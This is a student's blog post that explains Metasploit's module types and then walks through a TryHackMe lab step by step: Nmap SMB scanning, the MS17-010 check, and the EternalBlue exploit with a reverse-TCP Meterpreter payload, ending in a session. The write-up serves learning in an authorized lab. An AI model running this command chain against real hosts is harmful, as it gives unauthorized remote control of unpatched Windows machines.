Post cover image

August 24, 2026

Metasploit Explained: From the Basics to My First Exploitation Lab

Understanding Metasploit, modules, exploits, payloads, Meterpreter, and the MS17–010 practical workflow

By Zahid (Cybersecurity Student)

7 min read

Understanding Metasploit, modules, exploits, payloads, Meterpreter, and the MS17–010 practical workflow

When I first opened Metasploit, I saw a huge number of modules, exploits, payloads, scanners, and options.

My first thought was simple:

Where do I even start?

I had already heard a lot about Metasploit in penetration testing, but knowing the name of a tool and actually understanding how it works are two different things.

After completing the Metasploit: Introduction room on TryHackMe, I finally started connecting the concepts with real commands.

In this article, I'll first explain the basic theory of Metasploit in simple language, and then walk through my practical lab experience — from Nmap scanning to finding MS17–010 and getting a Meterpreter session.

� What Is Metasploit?

Metasploit is a penetration-testing framework used to discover, test, and exploit vulnerabilities in authorized systems.

It provides many tools and modules through one framework.

Security professionals and penetration testers can use it for tasks such as:

  • Vulnerability testing
  • Exploitation
  • Payload delivery
  • Session management
  • Post-exploitation
  • Security research

The main command-line interface is:

msfconsole

After starting it, you will see:

msf >

This is the main Metasploit console.

Why is Metasploit useful?

Instead of using completely different tools for every stage of a penetration test, Metasploit provides a large collection of modules inside one framework.

The important thing is not memorizing thousands of modules.

The important thing is understanding how the pieces work together.

🧩 How Does Metasploit Work?

At a basic level, the workflow looks like this:

Target
   ↓
Reconnaissance
   ↓
Find a vulnerability
   ↓
Choose an exploit
   ↓
Choose a payload
   ↓
Configure options
   ↓
Run the exploit
   ↓
Get a session

For my TryHackMe lab, the workflow became:

Nmap
  ↓
SMB on port 445
  ↓
Check MS17-010
  ↓
Find Metasploit module
  ↓
Configure target
  ↓
Run exploit
  ↓
Meterpreter session

Once I understood this flow, Metasploit became much less confusing.

🧱 Metasploit Modules

The biggest thing to understand about Metasploit is modules.

A module is basically a component designed to perform a specific task.

Metasploit has several major module types.

1. Auxiliary Modules

Auxiliary modules are used for supporting tasks.

They can be used for things such as:

  • Scanning
  • Service discovery
  • Vulnerability checks
  • Enumeration
  • Authorized credential testing

For example:

auxiliary/scanner/smb/smb_ms17_010

This module checks whether an SMB service appears vulnerable to MS17–010.

So:

Auxiliary = Supporting security tasks

2. Exploit Modules

Exploit modules contain code designed to take advantage of specific vulnerabilities.

The exploit used in my lab was:

exploit/windows/smb/ms17_010_eternalblue

So:

Exploit = Attempts to take advantage of a vulnerability

3. Payload Modules

A payload defines what happens after an exploit succeeds.

The payload I used in the lab was:

windows/x64/meterpreter/reverse_tcp

A payload can provide functionality such as a shell or Meterpreter session.

So:

Payload = What runs after successful exploitation

4. Post Modules

Post modules are used after a session has already been obtained.

They can help with authorized activities such as:

  • System information gathering
  • User enumeration
  • Network discovery
  • Configuration review

So:

Post = Work performed after getting a session

5. Encoder Modules

Encoders transform the representation of payload data.

One important thing I learned is:

Encoding is not encryption.

And encoding should not automatically be considered antivirus evasion.

6. NOP Modules

NOP stands for No Operation.

NOPs are mainly useful in exploit development and can help with certain exploit construction techniques.

7. Evasion Modules

Evasion modules are designed to test defensive security controls against certain payload or execution techniques.

These should only be used in environments where you have clear authorization.

💡 Vulnerability vs Exploit vs Payload

This was one of the most important concepts for me.

A vulnerability is the weakness.

An exploit is the method used to take advantage of that weakness.

A payload is what runs after successful exploitation.

A simple example:

Vulnerability
     ↓
The weakness
Exploit
     ↓
Uses the weakness
Payload
     ↓
Runs after successful exploitation

Another easy example is a door:

Vulnerability = Weak lock
Exploit = Method used to open the lock
Payload = What you do after entering

Once I understood this, the relationship between Metasploit modules became much clearer.

📦 Single, Staged, and Stager Payloads

Metasploit also has different payload structures.

Single Payload

A single payload is self-contained.

For example:

windows/x64/pingback_reverse_tcp

Staged Payload

A staged payload is delivered in parts.

The stager creates the communication channel.

The stage is the larger component delivered afterward.

A simple way to recognize the naming is:

shell_reverse_tcp

Single

while:

shell/reverse_tcp

Staged

I don't think beginners need to memorize every payload name.

Understanding the basic difference is enough at first.

🖥️ Starting My Practical Lab

After understanding the basic theory, I moved to the practical part of the TryHackMe room.

My first step was making sure my Kali Linux machine could communicate with the lab.

Then I started reconnaissance.

🔎 Step 1 — Scan the Target

Before using Metasploit, I wanted to know what services were running on the authorized target.

I used Nmap to scan the target.

For example:

nmap -Pn -p445 <TARGET_IP>

The result showed:

445/tcp open microsoft-ds

This told me that SMB was accessible.

📸 Screenshot — Nmap Scan

None None

Figure 1: Nmap scan showing SMB available on TCP port 445.

But an open port does not automatically mean the target is vulnerable.

So the next step was checking specifically for MS17–010.

🎯 Step 2 — Check for MS17–010

MS17–010 is associated with vulnerabilities in Microsoft's SMBv1 implementation.

The service of interest commonly uses:

TCP 445

I used an Nmap vulnerability check:

nmap -Pn -p445 --script smb-vuln-ms17-010 <TARGET_IP>

This helped determine whether the target appeared vulnerable.

The important lesson here was:

Don't assume that an open port means a vulnerability exists. Check it.

🚀 Step 3 — Start Metasploit

Now it was time to open Metasploit.

msfconsole

The prompt changed to:

msf >

From here, I could search through Metasploit's modules.

🔍 Step 4 — Search for MS17–010

Inside Metasploit, I searched for the vulnerability:

search MS17-010

The search returned relevant modules.

The two important ones for me were:

auxiliary/scanner/smb/smb_ms17_010

and:

exploit/windows/smb/ms17_010_eternalblue

This was where the theory became practical.

I could now see the scanner and exploit modules I had just learned about.

🧰 Step 5 — Select the Exploit Module

I selected the EternalBlue exploit module:

use exploit/windows/smb/ms17_010_eternalblue

Metasploit then changed the prompt to show that the exploit module was selected.

And reviewed the available options:

show options

This is a habit I want to keep:

Understand the module before running it.

⚙️ Step 6 — Configure RHOSTS

One of the most important options was:

RHOSTS

RHOSTS means the remote target host.

I configured the authorized lab target with:

set RHOSTS <TARGET_IP>

📸 Screenshot — Setting RHOSTS

None

Figure 4: Configuring the target using RHOSTS.

This was one of the options that confused me at first.

Now I remember it very simply:

RHOSTS = Remote target

🌐 Step 7 — LHOST and LPORT

For a reverse connection, Metasploit also needs the local callback settings.

I used:

set LHOST tun0

And:

set LPORT 4444

The easy way I remember these is:

RHOSTS → Target
RPORT → Target port
LHOST → My machine
LPORT → My listening port

Because TryHackMe uses a VPN connection, tun0 was the relevant interface in my lab.

📦 Step 8 — Select the Payload

The payload used in the lab was:

windows/x64/meterpreter/reverse_tcp

I also used:

show payloads

to see compatible payloads.

The important relationship is:

Exploit
   ↓
Uses the vulnerability
   ↓
Payload
   ↓
Creates the resulting session/functionality

✅ Step 9 — Check the Target

Before attempting exploitation, I used:

check

This gives Metasploit a chance to determine whether the target appears vulnerable when the module supports checking.

This made my workflow much more structured:

Scan
 ↓
Identify service
 ↓
Check vulnerability
 ↓
Select exploit
 ↓
Configure options
 ↓
Check
 ↓
Exploit

💥 Step 10 — Exploit the Authorized Lab

Once everything was configured and checked, I ran the exploit inside the TryHackMe lab:

exploit

Metasploit can also use:

run

The goal in the lab was to obtain a Meterpreter session.

And this was the moment where everything started to come together.

🖥️ Step 11 — Meterpreter Session

After successful exploitation, the prompt can change to:

meterpreter >

A Meterpreter session is an active connection that allows Metasploit to interact with the target in an authorized penetration-testing environment.

To list sessions:

sessions

To interact with a session:

sessions -i 1

To return to Metasploit while keeping the session:

background

📸 Screenshot — Final Result

None

Figure 5: Successful lab result showing the obtained session.

This was probably the most satisfying part of the room because I could finally see the complete chain working.

After completing the room, the Metasploit workflow became much clearer:

Reconnaissance
      ↓
Identify service
      ↓
Find vulnerability
      ↓
Choose module
      ↓
Configure options
      ↓
Select payload
      ↓
Check
      ↓
Exploit
      ↓
Meterpreter session

The biggest lesson for me was not memorizing commands.

It was understanding why I was using each command.

For example:

search → Find modules
use → Select a module
info → Understand the module
show options → See configuration
set → Configure an option
check → Check vulnerability
exploit → Attempt exploitation
sessions → Manage sessions

🚀 Final Thoughts

Before completing this room, Metasploit looked like a huge and complicated framework.

Now I understand its basic structure much better.

I learned that penetration testing is not simply:

Find an exploit → Run it

There is a process behind it:

Recon → Identify → Verify → Configure → Exploit → Analyze

The TryHackMe lab gave me a safe environment to make mistakes, troubleshoot problems, and understand how the different parts of Metasploit work together.

I'm still at the beginning of my cybersecurity journey, but this room gave me a much stronger foundation in Metasploit and exploitation concepts.

One more lab completed. One more tool understood. One more step forward. 🔐

🛡️ Lab

TryHackMe — Metasploit: Introduction

None

Tools ussed: Metasploit Framework • Nmap • Meterpreter • Kali Linux

#Cybersecurity #Metasploit #TryHackMe #EthicalHacking #PenetrationTesting #KaliLinux #CyberSecurityStudent #InfoSec #LearningInPublic